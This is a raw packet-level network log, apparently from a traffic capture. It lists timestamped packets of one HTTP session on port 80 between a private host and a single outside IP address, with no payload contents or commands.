Oct 28, 2024 06:27:27.364804983 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.364815950 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.364818096 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.364829063 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.364840984 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.364871979 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.364897966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.364909887 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.364919901 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.364934921 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.364948034 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.364959955 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.364964962 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.364969969 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.364995956 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.365016937 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.365022898 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.365035057 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.365056992 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.365077972 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.365087986 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.365099907 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.365124941 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.365135908 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.365163088 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.365174055 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.365184069 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.365195990 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.365200043 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.365210056 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.365220070 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.365220070 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.365247011 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.365257978 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.365269899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.365308046 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.365325928 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.365336895 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.365362883 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.365372896 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.365592957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.365602970 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.365634918 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.403383017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.403434992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.403445959 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.403450966 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.403464079 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.403475046 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.403486013 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.403492928 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.403522968 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.403532028 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.403534889 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.403542042 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.403553009 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.403553009 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.403564930 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.403577089 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.403584003 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.403608084 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.403618097 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.403624058 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.403630018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.403650045 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.403659105 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.403666019 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.403667927 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.403688908 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.403706074 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.403738022 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.403749943 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.403759956 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.403776884 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.403799057 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.479393959 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.479413986 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.479424000 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.479453087 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.479464054 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.479474068 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.479516983 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.479527950 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.479538918 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.479545116 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.479549885 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.479549885 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.479549885 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.479574919 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.479574919 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.479618073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.479628086 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.479635000 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.479662895 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.479669094 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.479679108 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.479681015 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.479707003 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.479721069 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.479724884 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.479734898 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.479764938 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.479773045 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.479774952 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.479779959 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.479787111 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.479816914 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.479831934 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.479849100 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.479861975 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.479871035 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.479871035 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.479903936 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.480426073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.480437994 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.480449915 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.480470896 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.480504036 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.480541945 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.480557919 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.480570078 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.480580091 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.480581045 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.480593920 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.480604887 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.480611086 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.480618000 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.480628967 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.480642080 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.480643988 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.480654001 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.480655909 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.480668068 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.480674028 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.480678082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.480705023 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.480730057 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.484718084 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.484762907 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.484787941 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.484798908 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.484812021 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.484828949 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.484852076 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.484909058 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.484918118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.484927893 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.484937906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.484945059 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.484971046 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.484977961 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.484982967 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.484992981 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.485004902 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.485008001 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.485040903 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.485069990 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.485090017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.485110998 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.485117912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.485129118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.485136032 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.485141039 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.485163927 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.485193014 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.485205889 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.485215902 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.485233068 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.485244036 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.485244989 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.485260963 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.485272884 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.485272884 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.485284090 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.485295057 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.485304117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.485313892 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.485332012 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.485332966 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.485343933 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.485352993 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.485362053 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.485387087 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.485387087 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.485395908 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.485407114 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.485409975 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.485440969 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.485444069 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.485454082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.485462904 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.485465050 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.485482931 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.485486031 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.485510111 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.485531092 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.485533953 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.485543966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.485574007 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.485615969 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.485625982 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.485650063 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.485666037 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.485677004 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.485688925 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.485692978 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.485701084 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.485708952 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.485718966 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.485719919 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.485730886 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.485733032 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.485754967 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.485783100 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.485793114 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.485801935 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.485807896 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.485879898 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.485892057 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.485903025 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.485913038 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.485925913 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.485934973 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.485985041 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.486016989 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.486052990 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.523984909 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.523997068 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.524007082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.524039984 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.524063110 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.524082899 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.524092913 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.524104118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.524113894 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.524116039 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.524122000 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.524127960 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.524138927 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.524144888 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.524151087 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.524167061 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.524190903 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.524195910 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.524225950 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.524238110 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.524238110 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.524256945 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.524281025 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.524302959 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.524313927 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.524328947 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.524337053 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.524341106 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.524352074 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.524358988 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.524363995 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.524377108 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.524406910 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.600081921 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.600099087 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.600110054 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.600213051 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.600234985 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.600249052 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.600249052 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.600254059 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.600279093 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.600286007 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.600290060 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.600301981 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.600306988 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.600315094 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.600325108 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.600337029 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.600337982 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.600343943 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.600348949 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.600361109 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.600366116 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.600372076 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.600383997 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.600397110 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.600404978 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.600408077 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.600425005 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.600425959 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.600445986 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.600457907 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.600471020 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.600471020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.600481033 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.600492001 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.600493908 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.600508928 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.600521088 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.600524902 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.600524902 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.600533962 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.600543022 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.600543976 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.600558043 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.600574017 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.600588083 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.600819111 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.600869894 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.600949049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.600959063 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.600969076 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.600980997 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.600991964 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.601000071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.601005077 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.601011992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.601022959 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.601033926 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.601035118 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.601051092 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.601059914 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.601063013 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.601073980 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.601073980 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.601099014 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.601106882 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.601121902 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.601141930 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.601145029 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.601155043 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.601165056 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.601178885 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.601206064 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.601206064 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.605279922 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.605340958 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.605340958 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.605353117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.605374098 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.605386019 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.605402946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.605415106 CET	80	49758	185.215.113.206	192.168.2.4
